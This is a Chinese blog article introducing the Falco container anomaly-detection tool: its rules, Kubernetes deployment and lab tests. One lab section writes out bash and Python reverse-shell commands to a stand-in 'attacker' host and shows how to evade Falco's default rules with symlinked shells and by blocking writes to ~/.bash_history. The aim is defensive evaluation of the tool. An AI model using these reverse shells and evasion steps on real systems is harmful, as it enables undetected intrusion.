探索Sysdig Falco:容器环境下的异常行为检测工具


【编者的话】随着容器技术的兴起,容器运行时的安全监控也成为各方关注的焦点。在各行各业积极上云的今天,如何及时准确发现容器环境内部的安全威胁并进行告警和处置,是容器平台开发运维和应急响应团队必须考虑的问题。Falco作为一款为云原生平台设计的进程异常行为检测工具,支持接入系统调用事件和Kubernetes审计日志,与其他工具相比具有独特优势,能够在前述问题上带给我们很多有益思考。本文希望通过两个场景来探索Falco的特性。

Falco简介

什么是Falco?

Falco是一款由Sysdig开源的进程异常行为检测工具。它既能够检测传统主机上的应用程序,也能够检测容器环境和云平台(主要是Kubernetes和Mesos)。

它能够检测所有涉及系统调用的进程行为。例如:
  • 某容器中启动了一个shell
  • 某服务进程创建了一个非预期类型的子进程
  • /etc/shadow文件被读写
  • /dev目录下创建了一个非设备文件
  • ls之类的常规系统工具向外进行了对外网络通信


此外,其还可以检测云环境下的特有行为。例如:
  • 创建了带有特权容器、挂载敏感路径或使用了宿主机网络的Pod
  • 向用户授予大范围权限(例如cluster-admin)
  • 创建了带有敏感信息的ConfigMap


那么,Falco与传统的主机安全检测工具有什么不同呢?
  1. Falco主要依赖于底层Sysdig内核模块提供的系统调用事件流,与用户态工具通过定时采样或轮询方式实现的离散式监控不同,它提供的是一种连续式实时监控功能;
  2. 与工作在内核层进行系统调用捕获、过滤和监控的工具相比,Falco自身运行在用户空间,仅仅借助内核模块来获得数据,Falco的规则变更和程序起止要更为灵活;
  3. 与其他既工作内核层又提供用户空间接口的工具相比,Falco具有非常易学的规则语法(可以与SELinux的规法对比)和对云环境的支持。


Falco采用C++语言编写,但它提供了丰富的告警输出方式(后面会提到),因此能够非常方便地与其他工具协同工作。

程序架构

在进入细节之前,我们希望给出一个“俯瞰”视角,以帮助您建立一个关于Falco的整体概念。

总体来讲,Falco是一个基于规则的进程异常行为检测工具,它目前支持的事件源有两种:
  • Sysdig内核模块
  • Kubernetes审计日志


其中,Sysdig内核模块提供的是整个宿主机上的实时系统调用事件信息,是Falco依赖的核心事件源。

另外,Falco支持五种输出告警的方式:
  • 输出到标准输出
  • 输出到文件
  • 输出到Syslog
  • 输出到HTTP服务
  • 输出到其他程序(命令行管道方式)


值得一提的是,最后两种方式使得我们能够很容易将Falco与其他组件或框架组合起来。

下图展示了它的基本架构:
1.png

其中,紫色模块为Falco目前支持的输入事件源,绿色模块为目前支持的输出方式,蓝色模块即Falco用户态程序。

工作原理

Falco采用类似于iptables的规则匹配方式来检测异常。它自带了一份规则文件/etc/falco/falco_rules.yaml 供使用,我们也可以将自己定义的规则放在/etc/falco/falco_rules.local.yaml文件中。

它的异常检测流程是直观的。以系统调用为例:Sysdig内核模块首先加载,用户态的Falco运行后读取并解析本地配置文件和规则文件、初始化规则引擎;一旦有进程做了系统调用,内核模块将捕获到这次调用,并把详细信息传给Falco,Falco对这些信息作规则匹配,如果满足规则就通过约定好的方式输出告警。上述工作流程可以表示如下:
2.jpg

规则介绍

Falco的规则使用 YAML 描述,一个规则文件(如 /etc/falco/falco_rules.yaml)包含三类元素:
  • 规则:一条规则是描述“在什么条件下生成什么样的告警”的规定
  • 宏:这里宏的意义与C语言中的基本相同,它是一些“判定条件片段”,能够在不同的规则甚至宏中复用
  • 列表:即元素集合,能够被规则、宏或者其他列表使用


从层次上来说,基础条件表达式、列表和宏一起构成规则,规则是最直接被Falco用来判断某一行为是否异常的依赖标准。

一条规则至少由以下必需项构成:规则名、条件、描述文字、输出信息和优先级。

下面是一个规则示例:
- rule: Terminal shell in container # 规则名:必须是独一无二的名称
desc: A shell was used as the entrypoint/exec point into a container with an attached terminal. # 描述文字:对规则的详细说明
condition: > # 条件:用来筛选事件的过滤表达式(Falco采用Sysdig的过滤语法)
spawned_process and container
and shell_procs and proc.tty != 0
and container_entrypoint
output: > # 输出信息:与规则匹配的事件发生时,输出的告警信息
A shell was spawned in a container with an attached terminal (user=%user.name %container.info
shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository)
priority: NOTICE # 优先级:表示该事件严重程度,是一个枚举项,枚举范围为['emergency', 'alert', 'critical', 'error', 'warning', 'notice', 'informational', 'debug']
tags: [container, shell, mitre_execution]

毫无疑问,一条规则的核心是“条件”,它决定了一个事件是否应该被视作异常行为。在后面几节中,我们将接触并深入分析一些规则。

更详细的信息请参考官方文档。

部署方法

Falco能够直接部署在物理主机上,也能够以容器方式部署,还能以DaemonSet部署在Kubernetes集群中。

在这里,我们给出手动以DaemonSet方式在Kubernetes集群上部署Falco的过程,其他部署方法可以参考官方文档。

安装内核头文件

前面提到,Falco依赖于Sysdig内核模块。因此,我们需要在Kubernetes集群的每个节点上安装内核头文件:
sudo apt-get install linux-headers-$(uname -r)

注:笔者的Kubernetes测试环境节点使用Ubuntu系统,其他Linux发行版使用等效命令安装即可。

创建Kubernetes资源

获取远程仓库:
git clone https://github.com/falcosecurity/falco/
cd falco/integrations/Kubernetes-using-daemonset

创建ServiceAccount并提供必要的RABC权限:
kubectl apply -f Kubernetes-with-rbac/falco-account.yaml

创建Falco服务(如果不需要Kubernetes审计日志作为事件源,可以跳过此步骤):
kubectl apply -f Kubernetes-with-rbac/falco-service.yaml

创建ConfigMap来存储Falco的配置,这样一来我们即使更改配置也不必重新构建、部署Pods:
mkdir -p Kubernetes-with-rbac/falco-config
cp ../../falco.yaml Kubernetes-with-rbac/falco-config/
cp ../../rules/falco_rules.* Kubernetes-with-rbac/falco-config/
cp ../../rules/Kubernetes_audit_rules.yaml Kubernetes-with-rbac/falco-config/
kubectl create configmap falco-config --from-file=Kubernetes-with-rbac/falco-config

创建DaemonSet:
kubectl apply -f Kubernetes-with-rbac/falco-daemonset-configmap.yaml

测试

获取Pod日志:
kubectl logs -l app=falco-example

日志显示Falco已经正常运行:
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
Thu Sep 19 02:09:44 2019: Falco initialized with configuration file /etc/falco/falco.yaml
Thu Sep 19 02:09:44 2019: Loading rules from file /etc/falco/falco_rules.yaml:
Thu Sep 19 02:09:44 2019: Loading rules from file /etc/falco/falco_rules.local.yaml:
Thu Sep 19 02:09:44 2019: Loading rules from file /etc/falco/Kubernetes_audit_rules.yaml:
Thu Sep 19 02:09:45 2019: Starting internal webserver, listening on port 8765
02:09:45.241612000: Notice Privileged container started (user=root command=container:0b07c858a9a0 Kubernetes.ns=default Kubernetes.pod=falco-daemonset-hgbp9 container=0b07c858a9a0 image=falcosecurity/falco:0.17.0) Kubernetes.ns=default Kubernetes.pod=falco-daemonset-hgbp9 container=0b07c858a9a0

“Hello World”之检测容器内创建Shell

在部署完成后,Falco已经提供了一个现成的规则文件 /etc/falco/falco_rules.yaml 供我们使用。这里我们借助一个简单的场景来体验Falco的功能:容器中启动一个shell,Falco检测出这个异常行为。

测试

测试环境是拥有两个节点的Kubernetes,Falco以DaemonSet形式部署在上面:
3.png

首先,我们连接到某个Falco Pod上(这里我们连接到Master节点上的Pod):
kubectl attach falco-daemonset-77gct

Master节点上事先已经运行了一个Ubuntu容器,现在我们尝试在这个容器里打开一个shell:
docker exec -it b769 /bin/bash

从下图中可以看到,在shell打开的同时,Falco就给出了告警提示:
4.jpg

规则分析

下面,我们来看一看这一切是如何发生的:

首先从 /etc/falco/falco_rules.yaml 中找到被触发的检测规则:
- rule: Terminal shell in container
desc: A shell was used as the entrypoint/exec point into a container with an attached terminal.
condition: >
spawned_process and container
and shell_procs and proc.tty != 0
and container_entrypoint
output: >
A shell was spawned in a container with an attached terminal (user=%user.name %container.info
shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository)
priority: NOTICE
tags: [container, shell, mitre_execution]

上面规则中的条件如下:
condition: >
spawned_process and container
and shell_procs and proc.tty != 0
and container_entrypoint

其中,spawned_process、container和shell_procs及container_entrypoint是四个宏,我们同样可以在/etc/falco/falco_rules.yaml中找到它们:
- list: shell_binaries
items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]
- macro: spawned_process
condition: evt.type = execve and evt.dir=<
- macro: container
condition: (container.id != host)
- macro: shell_procs
condition: proc.name in (shell_binaries)
- macro: container_entrypoint
condition: (not proc.pname exists or proc.pname in (runc:[0:PARENT], runc:[1:CHILD], runc, docker-runc, exe))

综合上述信息,我们可以将该规则“翻译”为如下语言:

如果一个事件指明“在某容器中”启动了一个“新进程”,进程名是“常见shell的名称”,分配“有终端”且角色为“容器入口进程”,那么该事件被判定为notice级别的异常,一个告警将被输出。

最终,我们得到这样一个告警信息:
103:04:49.103073119: Notice A shell was spawned in a container with an attached terminal (user=root Kubernetes.ns=<NA> Kubernetes.pod=<NA> container=b769d5606d87 shell=bash parent=runc cmdline=bash terminal=34817 container_id=b769d5606d87 image=ubuntu) Kubernetes.ns=<NA> Kubernetes.pod=<NA> container=b769d5606d87

“Hello World”之对抗反弹Shell

在做了以上初步尝试后,笔者不满足于这种简单实验,希望能够在更有意义的场景下探索Falco,从而更好地体会它的优势与不足。

我们知道,常见的攻击往往从Web服务入手:攻击者首先收集各种信息,进行各种测试,然后借助注入或文件上传等手段拿到Webshell,接着通常会利用Webshell来反弹一个真正的shell(考虑到传统内网防火墙拦进不拦出的特性,反弹shell要比监听shell可用性更高)到自己控制的机器,最终利用这个shell进行权限提升、横向渗透、访问维持和痕迹清理等后渗透阶段的活动。

因此,“反弹shell”往往在整个攻击过程中起到非常重要的作用。那么,Falco能否用来检测反弹shell的建立呢?

在第一节中,Falco现有规则已经能够检测到容器中入口进程执行shell的情况。其实我们只需要对该规则的条件做一点改动,就能够实现本节的目的:
condition: >
spawned_process and container
and shell_procs and proc.tty != 0

具体而言,我们依然使用 /etc/falco/falco_rules.yaml 作为规则文件,只是删去了其中“Terminal shell in container”这一规则的“shell必须作为容器入口进程”限制。

第一次测试

现在来试一下!

为了方便调试,本节我们采用直接在Master上安装运行Falco的方式。我们将开启三个终端窗口:
5.png

其中,右下方是Falco终端,用来在Master上运行Falco;上方的是victim终端,用来模拟攻击者建立反弹shell的操作;左下方是attacker终端,用来监听反弹shell请求。

首先,我们在attacker终端中开启监听:
ncat -l -p 10000

在Falco终端启动检测:
falco

接着,在victim终端创建常用的反弹shell:
bash -i >& /dev/tcp/attacker/10000 0>&1

攻击者在attacker终端成功获得了反弹shell,然而,Falco终端给出了两条告警:
6.jpg

告警分别为:
  • 检测到系统程序接收/发送了网络流量
  • 检测到容器内开启了一个shell


第一次绕过

好了,看来借助Falco来检测反弹shell至少是可行的。那么,攻击者是否能够绕过上面的检测呢?

我们来分析一下情况。

第一个告警在第一节中没有出现过,但的确也是基于 /etc/falco/falco_rules.yaml 中的规则生成的:
- rule: System procs network activity
desc: any network activity performed by system binaries that are not expected to send or receive any network traffic
condition: >
(fd.sockfamily = ip and (system_procs or proc.name in (shell_binaries)))
and (inbound_outbound)
and not proc.name in (systemd, hostid, id)
and not login_doing_dns_lookup
output: >
Known system binary sent/received network traffic
(user=%user.name command=%proc.cmdline connection=%fd.name container_id=%container.id image=%container.image.repository)
priority: NOTICE
tags: [network, mitre_exfiltration]

相关的宏和列表如下:
- macro: system_procs
condition: proc.name in (coreutils_binaries, user_mgmt_binaries)
- list: shell_binaries
items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]
- macro: inbound_outbound
condition: >
(((evt.type in (accept,listen,connect) and evt.dir=<)) or
 (fd.typechar = 4 or fd.typechar = 6) and
 (fd.ip != "0.0.0.0" and fd.net != "127.0.0.0/8") and
 (evt.rawres >= 0 or evt.res = EINPROGRESS))
- list: coreutils_binaries
items: [
truncate, sha1sum, numfmt, fmt, fold, uniq, cut, who,
groups, csplit, sort, expand, printf, printenv, unlink, tee, chcon, stat,
basename, split, nice, "yes", whoami, sha224sum, hostid, users, stdbuf,
base64, unexpand, cksum, od, paste, nproc, pathchk, sha256sum, wc, test,
comm, arch, du, factor, sha512sum, md5sum, tr, runcon, env, dirname,
tsort, join, shuf, install, logname, pinky, nohup, expr, pr, tty, timeout,
tail, "[", seq, sha384sum, nl, head, id, mkfifo, sum, dircolors, ptx, shred,
tac, link, chroot, vdir, chown, touch, ls, dd, uname, "true", pwd, date,
chgrp, chmod, mktemp, cat, mknod, sync, ln, "false", rm, mv, cp, echo,
readlink, sleep, stty, mkdir, df, dir, rmdir, touch
]
- list: user_mgmt_binaries
items: [login_binaries, passwd_binaries, shadowutils_binaries]
- list: login_binaries
items: [
login, systemd, '"(systemd)"', systemd-logind, su,
nologin, faillog, lastlog, newgrp, sg
]
- list: passwd_binaries
items: [
shadowconfig, grpck, pwunconv, grpconv, pwck,
groupmod, vipw, pwconv, useradd, newusers, cppw, chpasswd, usermod,
groupadd, groupdel, grpunconv, chgpasswd, userdel, chage, chsh,
gpasswd, chfn, expiry, passwd, vigr, cpgr, adduser, addgroup, deluser, delgroup
]
- list: shadowutils_binaries
items: [
chage, gpasswd, lastlog, newgrp, sg, adduser, deluser, chpasswd,
groupadd, groupdel, addgroup, delgroup, groupmems, groupmod, grpck, grpconv, grpunconv,
newusers, pwck, pwconv, pwunconv, useradd, userdel, usermod, vigr, vipw, unix_chkpwd
]

仔细思考后发现,第一条规则的条件中比较容易突破的点是(system_procs or proc.name in (shell_binaries)))。我们可以将上面的列表理解为黑名单,那么如果要绕过第一条规则,只需要采用一种不在黑名单上的方式即可,例如借助Python来建立反弹shell:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

第二次测试

执行上述命令,攻击者再次获得了shell,可以看到,告警也只有一条关于shell的了:
7.jpg

第二次绕过

那么,如何绕过剩下这个告警呢?思路是类似的,我们只需要使用黑名单之外的shell即可(上面的Python代码实质上调用了/bin/sh)。然而,规则文件中shell列表基本上把常见shell都包含进去了:[ash, bash, csh, ksh, sh, tcsh, zsh, dash],想再找出一个其他的shell,不太容易。因此,我们考虑别的思路。例如,可以尝试软链接的方式变相为shell改名(普通用户权限不能直接修改 /bin/sh 的文件名;另外,为了规避可能发生的动态链接问题我们也不借助拷贝来实现改名,事实上这样也是可行的):
1ln -s /bin/bash /tmp/fake_bash

将前面的反弹shell中的/bin/sh替换掉:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/tmp/fake_bash","-i"]);'

第三次测试

执行上述命令,攻击者又获得了shell ,而且这次Falco没有任何告警:
8.jpg

触发隐藏剧情

虽然表面上看起来没有任何告警被触发,但是新的问题会出现:当攻击者在反弹shell中执行过命令然后退出时,当前shell会自动向 ~/.bash_history 文件写入执行过的命令历史记录,这个操作同样会触发告警:
9.jpg

我们看一下原因,同样从 /etc/falco/falco_rules.yaml 文件中找到相应规则:
- rule: Modify Shell Configuration File
desc: Detect attempt to modify shell configuration files
condition: >
open_write and
(fd.filename in (shell_config_filenames) or
 fd.name in (shell_config_files) or
 fd.directory in (shell_config_directories)) and
not proc.name in (shell_binaries)
output: >
a shell configuration file has been modified (user=%user.name command=%proc.cmdline file=%fd.name container_id=%container.id image=%container.image.repository)
priority:
WARNING
tag: [file, mitre_persistence]

逻辑很简单,我们不再给出相应的宏和列表。原因也很简单:~/.bash_history 一定是被监控的shell配置文件之一。

知道了原因,我们也有了绕过方案。一种比较取巧的方式是,直接限制用户自己对 ~/.bash_history 文件的写入:
chmod u-w ~/.bash_history

先执行上述命令,再使用上面给出的Python+软链接方式创建反弹shell,整个过程终于不再触发任何告警:
10.jpg

总结

从前面实验中的两次绕过来看,似乎Falco的自带规则并不十分准确。在实验中,我们尽量减少对Falco自带规则文件的修改,正是为了尽可能模拟真实场景,探索这么做会带来什么问题。现实中,许多开发、运维人员常常不去修改默认配置或文件,认为配备了安全防护设施后就可以高枕无忧。然而,许多安全事故正是来自这些看似不起眼的地方。无论多么先进的技术,只有融入到具体情况千差万别的生产环境中,安全运营团队持续地采用多种检测手段交叉验证、形成闭环,才能真正有效发挥作用。

另外,笔者认为,作为一种适用于云环境的“无状态”的“系统调用级别”实时异常行为检测工具,Falco提供了稳定可信的原子异常事件序列,这已足够。

诚然,我们可以根据具体生产环境的特点去构建更复杂、严格的检测规则,使规则更难被绕过,但是随着时间的推移和攻击技术的发展,这样的检测规则势必会陷入“过度拟合”的状态,难于维护和进化,难免百密一疏。

也许,一个更优雅灵活的防护机制是,将Falco作为底层异常事件源,在其上应用异常检测算法构建出一套“有状态”的异常检测系统。这样的系统能够从异常事件序列中解读出更高层次的攻击行为,且易于维护和进化:在大部分情况下,我们只需要修改上层检测模型,使之适应当前环境即可。

参考链接:
  1. Falco官方文档
  2. SELinux, Seccomp, Sysdig Falco, and you: A technical discussion


拓展阅读:
  1. How to identify malicious IP activity using Falco
  2. How to detect Kubernetes vulnerability CVE-2019-11246 using Falco.
  3. High Interaction Honeypots with Sysdig and Falco


原文链接:https://mp.weixin.qq.com/s/BAaOREFajQKk3y4MHDgmuA

0 个评论

要回复文章请先登录注册